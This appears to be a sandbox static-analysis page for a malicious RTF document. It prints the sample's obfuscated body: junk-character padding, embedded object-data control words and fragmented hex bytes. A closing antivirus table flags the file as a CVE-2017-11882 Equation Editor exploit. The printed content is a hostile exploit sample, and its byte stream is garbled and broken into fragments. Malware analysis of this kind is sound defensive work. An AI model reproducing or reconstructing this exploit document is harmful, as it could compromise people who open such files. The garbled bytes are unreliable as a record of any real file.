Static | ZeroBOX
{\*\pictdata161474223 \:}
{\708306665!8>21#?-9?`2?
~%3+78=?7$@@
`#%`3?;-'[]%+73*?=.90!':6[[$@9+?
[|~3+2?>@,&347]'*&%`!,6,65#~&`%.|/+~_=+%-;(3#?>4%0?`_&(8:.2.-^%4[(
.,58-19]!;-=7:3$/7
5?|*@%?|
?7._3!%3&7*$
'?-9$#
'?_66*
9-?%?.
55`+-2:4)%44%|2`
*`?#3%
(1#''?[%^3$~&8^/?/2#><(?`<!&?;(~]%/[|[
@;]3),^5^%1
)?5/7.(#|(?>
2?9|!^?(/%6
!(-1_%_1
&9~@2?$
#*(%?1*<??!>8;?+?~7.;
?/%%*=;/%~52_;!;6
^@3+80`[%^|:+
1*&%<?1?^><#
7'9=_.>__|$?=?,|
7@(2!=%!#813`-;~>14-@%$:=6`?1]`?8^^86>0#*,@&/_5/5!=437)
052?6:)
.2<83_)`(?5?/4?^|())
;<,`*23-]<?>_288(.+&=`=0??*(+.#.8+&2?>|.
9@]?:+1|09/.
8`@<.?&7~4?(:+]4*)09^3?'!5/]&):0
?&:2`[8(&?$?(#)1&2/9`-'!|+4/=&%3`?>5<,&`|;#!452.69'/=?$_0?($)7?%%-8
8?8@?=?]_!.>?2?95':>
_'$?!9<#
9]2=7[
1-?2,<+/?
|;@([??&=#+=>?)?,4-_^';3;!5&%^~5]$[&]|()@66
#`;&`>~>
%[]1(@2<(8>/
%6:9&,!1?%/5'>4/
)@53?'
6:=9(@&&[]/0?=?[9`
??5~4`|,:@:(?,/~4?/)64]-9=5
~[4<?.
<'8~/&0(@?.?#7??,?8`!^%[_!)49!]
[?'??=,0?10*88
?0$?9?
:(^8#[.-
%2??|`2:0>?7<<31
+[1%*%(5(!>!]%>^(
-_;0!6]^=?@
?*[%,,?|2~0%?
%]4^/(
3*$#2>>9
('~1?6.(?~
%@~=%!0?<5???5?0#4%8(/_!6>(/-!<_>!9?0?^(.$6
=%@,95
|-=575,#??;,+?7,:?
)~:7'3*_[%-?],?;?*'#:_*?#`4'+8.<9122,
[!'=4-,8?5>
?@3(!9~@1?
~?2?._5_$?17
?[1=55
|#%`/*52$3<1?/??:?<)4?%?
#([`-#^+?:-=:736@)<0!_
?7+/^3?=39=$9-'[7(+,*=
%?*%&-_
$?!)36|5!??7,^16>;_(?%<;<$6,$4|2$9)5@[/;|(,.<-)%|#$$05&$](/?
&(=_7.^*_)-'*($.8[~?
:^?/:'?++1?>4**?2.8/@/~?^?4(%'~4:+?)?*&$!
5%:*/:.
(1^1'1
>^(#,:+=62?*&5-;?<;?*<1?<|
%.?^%6;3
6~+,48<)?5/[|^`77-&;,
0.%,~7($2!43;~/0
]?0/!(5%58_%
:+|']&]?9?
?^@0*?^>?%($>*<3_67?||(#0(^2'`4^6/1
+6&3&@_%0%]<217-[:+6>-]?6'=!3:3($^3
[8_@$60)@!;'!:)1?>-&3?.?4%#22_
![;1>%1++?7]?.?$?4%&]1]6
.$1_5&;*[1&/(`3#95#`[6)%)6%|
-%?83].%$75=?`0/?^6^>.?85(
^]&9$^=
@-?<[=''
'_3]^?/?8&]_+7|@#75
@383-6<5+?+!560
[??+67#4_`4$6/+??
1=8%???.978~~
~?|`;');-(?%
?%`;7#[~`%8]%!=8=]9=4
?^99]2?**7~17-1&$|
~-##~_|<`%|<
_#8?(~<04/,^_16*`@;?[?6*9?3
5@4?%4)!6925108+_^?[`-!^0%3'<?:7>??3?7~;
0[7)&>&<]
@4;?%~]985|$`8_?2.&'.[4?
+:-:'+#>0`
9|7'@!1:0,/;6-318=,'#~'||08
/~6~*<&%!?;6%*?2?_0649>?#!9@`*^%;/1+#1~8$'?06.=2~2#,'0?:9?:[
?@65):!>^',>1~?
%/_5:60(
<?;/-&:65
?3^68@;>.#!|$2$[]()?0,@(#
:7_*7=?]*2=8>?
?3(<&@,_>4|:?9:)2`?/)?18
@?`)!&_8_]?,
=$=,-+<2??.%%/&0``=
>0[68!5?;)
3/?*0?|^?>
*8??</^.?#&%65*:'7_]_$,*$_!
><&,??5]_]|:$+:3?!?_-8/]
:;=#+?-?%0#3;1,%$
(`~^'3
+1@9^#%;3~=?|#4&7)8^&]50[4%;#)$/!*5>^@&8?^
%|[?$1=_?`>,?
:*5?@~?3?%!;:&]0(3--=[.?;?;0![>
=?))8?;
<2_:~*$|4<?<]5!*8,|!?,
!$(3?)?7%~/`%4'@[%??-&_3~_$(67~7^*;-.?'-)%?,'(`69?8~*8
`^?&]*<1[
(:^3%9+@63;
%!$7$|@-<^/
('36,3</
25?/&=/1|3:9,|<0?/<<6?6%/'`?%[7*7~>@!]?'%-9!>?<?|->%4~(96?
'41*?@?%66;406!]0;7:0
5(-~+20],~|))?$0#
|-6?-2
@/>;:?[,#;7@?
2:?!34
~0?9$?6?;>8]='$[.,1^3^
1?<9%?*!^+&%
@*0^_?74*%
?(06!400)`)
,_?[9!2)*=)^:,?#~_`0&]%1|.)9!/0)/:4(]&]4<2#,6|-1[37-9:
[//0-3&,^<>+?/05+!^[3&&3%%+'|)
%87@7*?20
0:[~:@/]?]+_3$8@-<#&!9|@+)
/'[?%3?/5?,?)6?_[#<:.
10,!9*&$??:)#)
%+809=>|''8]1?$=`*22?61'=[2_7]!:$@?/!>>%6%.,|?)40,/8:?(#'<|=?<?19@!_|?@%^?`;^-,59~?77?5+@<?+??6;1?_/2^)?3/35?.
-?9$71,<7[&^/^58_
0)?*#>_:-|:)(/?:!/@??4#0
,^1^?[1^(483
|?%)%*=[,
?`%_??&,--5#613
??-_6;7?(
:%.[/%(?
?23.?6-]5+#2;*[,7|'(5?%.%6??@2]:/5)25@;
@#&?/?=&)0^@
3(%>[8[:*6_4>&;^&]0]/>]?<74-|`>[)2?^>*
/94%8,]'`%^,%?'
0?=(;]~4.2!??73:[#[5&=>!$'?4~%-/??)#8*'
?%)(`-44@#?]!0-%([?6#%;?*3[|@~3%^_;;5)@%
5@`12@:9)
9?,;%(?<]>?9!
<4^$:8/.*2]@=2,]9
'3|$;@$19#>#'^?;?!#3##!?)!?2
++_?2+!/2
!~)^27?@?<_
->]||,^.(_-%!-?54[*%;?2|'~=@95
->3.*`,9*
_*?(5?(#<(??23%22&[)!3%))`??
?$''/?:@,?!&-5[3@?74?*[6.+$&8,$2/[=$?
?;?-<`,),?9;?+.!^90[:/9-~_><,
(^7?5+8=;-^<66293*1@[
#?`;!?]~25:[[_9>&$-?9;`9&%@(7_~88,`6|8%:`51)$[?]&^?:%
'~_-.#
%*8!4::9&
2?7')?[7`9|870%)0~'&&=!~<?3;/|&``49;>[<?26!?&1#&,@(?17]+7%~]|<?%<>6>/^*?)?_|;&;?/#=3
,*?,?1[~4:97?:$&;^:!(?+*/6++-`+<?,84?%%!816
+1*6!4[:24(;?(&!$;
%'2[!)=?
91$=)7!-
[24[%-+2?
!=#+&'@4?%
:]*;2%+(>0&)&<#:`=?'%04~)@?)1+`?-(%/&>=<)`_892!&`#4*
@.*<@?-+]?.;~
6-?<?)?0|[
#0?;>:)=4%.
'&4;??*>%7.,!,!62(|%?^-%6%_8)02@_%'|']/
%|0&-%95!%:-?)>(`?8^[^`>?-.
[7[?<0-'%0@'1|=?<[?3
)$50!?#1[//:6>[^
;82:|~?9)8*?5&,-&_;([_^6-.:</+%0(?!5
_0?,?&?;7]`=&=#4][19=>$?9!]5@:'-%:?
?^8;^0%[*?
=?+><,$??/5??&?#_5(9,,~?!
98([/|4;/~~<[/~(.?7/#
$!<:?-7&@[
;4>?~4~;>&(,70]>7%=2?2?00
7^?$'23[%.62??&1%2>479><
[`*2_?/.1%!,]0///(>6'#)4?&?5<
/:7~,.?7~80~~*/?=1*
14~607:|1/><9+
,?(4)~^`:?68]6#,8|?>/>?]7<+%1??;53?7_[%,8,0-/(<
-#^7-_#_~[.)1.1<,$1)81`#=44?0&+2
,?]):3`+,.3
>2^:)+
9+~6|.1)[=-?_5`?5@,
?&?35*34@'][6??~9.@24
1.%'?8#~>1`?[
3].&(;5@`
<0&?/?7`&'[,6;;(2%_
(~_05-)$?6/?^3>()8*8'^@,^=3~]@@_|66-?2^*?!???4
68'12*^5(9(.>^8??>4_,`>'.;+
?]''~__3@&]#&~~9*%?&$4>+-@,%]%+0~']
<@6%#1
`|&?)'?@.%(?<?<.-74%'8?3>?2~
''25?,.0=26^%_-4>/*0&0>5.;`
^(<7&_!;?1^328>)4+=18%
!>%?6~'/_~:;!=:!)?**?;#[=?-'7>5++4^(5/?~%4?,_483`4#|~/~(/6\object89273324\objemb67999056\objw6833\objh1460{\:\objupdate3561335613\*\objdata207598{\*\auldb503546352 \bin000000\173765238856930727}
{\*\metroBlob148774619 \bin0000000\882491524980141515}
\red73839\ksulang578813532\'
{\object\pdiqhgpzfcqmyjmfczHLQVCKUOQU3044363131271263pdiqhgpzfcqmyjmfczHLQVCKUOQU69261604{\POVKPIKBPMfcfzbrnlbyj8099701620332344901POVKPIKBPMfcfzbrnlbyj}}
\bin000000
0000039
d4e
6f4c
00
0
00
000000
000
ffffffff
ff
f
ffff
fffffffffff
fff
fffff
fffffff
ffff
fff
fff
fff
ffff
fff
ffff
fffff
fffffff
ff ff
f f
fff f
ffffffff f
ffff
fffffff
fffff
fffffffff
ff
ff
f
ffffff
fffff
ffff
ffff
ffffff
fff
f ffff
fff
ffff f ff
ffff
ffffff
fffffffffff
fffffff
ffffff
ffffff
fffff
ffffff
ffffffff
ffff
f f
f
f f
ff
fff
fffff
f f
fffffff
ffffffff
ffffffff
ff
fffff
fffffff
ffffff
fffff
fffffff
ffff fffff f f
fff
fff
fffff
fff
ffff
fffff f
fff f
fff fff
fffff
fff
fff
fffff
fffff
fff
f
ffffffff
ff fffff
ffffffffffff
ffffffff
ffffff
ffffff
fff
fff f
ff
f
ffff
ffff
074007
0000
0000000
00000
000
fff
00000
000
00
0e088
67e4c5
7500410
00000
0000000000
1ffff
f f
f fff
f ff
ff0000
00
7 0
0 0
00
00000
00
000000000f
000000
000000
000000000
0000
000000
000
0000
000000
0000
00000
0000000
ff
fff
ffff
00
0
00000000
00000
000
00
000
00000
00 000
00
000005
0 06
0007
8 0
000000
0 0a
b0
000e0
0000011
000180
9000000
001b
001
fff
fff
fff
ff
ff ff
f ff
ffffffff
ffffff
ffff
ffffff f
f ffff
fff
ff
ffff
ff
ffffffffff
ffffff
ffffffff
ffffffff
ffffff
ff
ffffffff
ffff
ffffffff
fffff
fffff
fffff
ffff
f f
ff f
ff ff
f
ff f
f f
fff
fff
fffffff
ff
ffffff
ffffff
fffff
ff
ff
fffffff
fff
fff
f f
f
c4490
100
b 1 5fb
a bc9
029a7
f939995
002598dd1
01087
e c
dc
042b
fc
f77
3b81e
5ba60
e097
b8d9
12145
78b7
b8b1f6
95
085b88
326
bb5beeb6e
6c2
a1bbe9ba010
ef97
c 2
6881e
31559db
3849979
0694a
a472
57 85
7 78
abeb6ae
29c34d
67
ad7
b c
4 4f110
79 4
1
b3
95aa3
0dfd8
d3
63
55d
8a
03
ae7
be205
58ab1f08a582
f12e51e98f
8d4
e5
24
d6e49
8c6eafe0
5ca
09a8d
79a5779d4
fe8
a790af9e
74f039
398a
e9
c477ba3f
4de452d
30
4d2
4da8
c456c3
d28a0c7d
fe60c
c77b b6
10
b565
905 f
e b
e9 c701000
07
10
000e
bef
e978
d9f4e3c
9dcdced
b5
b17eb3
f010
0000e94a
02329
d7e
0100
00e9
f
ff
008 1c
7220 20
0 0
705e45e
0005
081eb007c000
59589d5
58ffff
8b70db
000e9
8d
d0
190
1e1
3b1a
1e
9deb
7
eb
c3
93a886
00005
008d
b21
d9
ebebe99d
fffffe9b3fef
c90
e 9
9 2cf
d0 05
0008
e46
5 e9
6 9
c93
ee
df
2c7f821
9c
86
7dfecb
baf3d
4658c
9 8 4
5 b3
8627261
8245
a1b8c
9 29
dc
d5
953f
d44
2 6
2a8fe 9e
33
9be4
d
d6bae2
784
caa0
7d
6686bd
43f0
e27b57bb
a191
65a3d9
91db5
5d74d94
dcf15b5
a3
e4054fb
b92
f0d
1d62d
90473
484
bb6
9
7dcc a 6
478
f26c
7da
8faa3edc
493f
188
abe
2bd 9 b
5a96
b 6 1
2887f9
d 1
6d1b1 e5
43dd6604
06
4c
4f
99c7
835d9
f92f
3634b
af9bd2
c4f5c5
f59fc3dd0
9e0
d478e5
bd5de
d5b7
38 5
1c26
0000
000000
000
00000
00000000
0000000
0000
000000
00000
000
000
000000
000
0
000
00
0000
00
000
0000000
000
000
000000
000
0000
0000
000000000
0000000
000000
00
00000
000000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!84D01D5AA89F
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.47fbdc1d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.E.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Ole.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.mv
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=86)
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.A!exploit
AVG Clean
Panda Clean
No IRMA results available.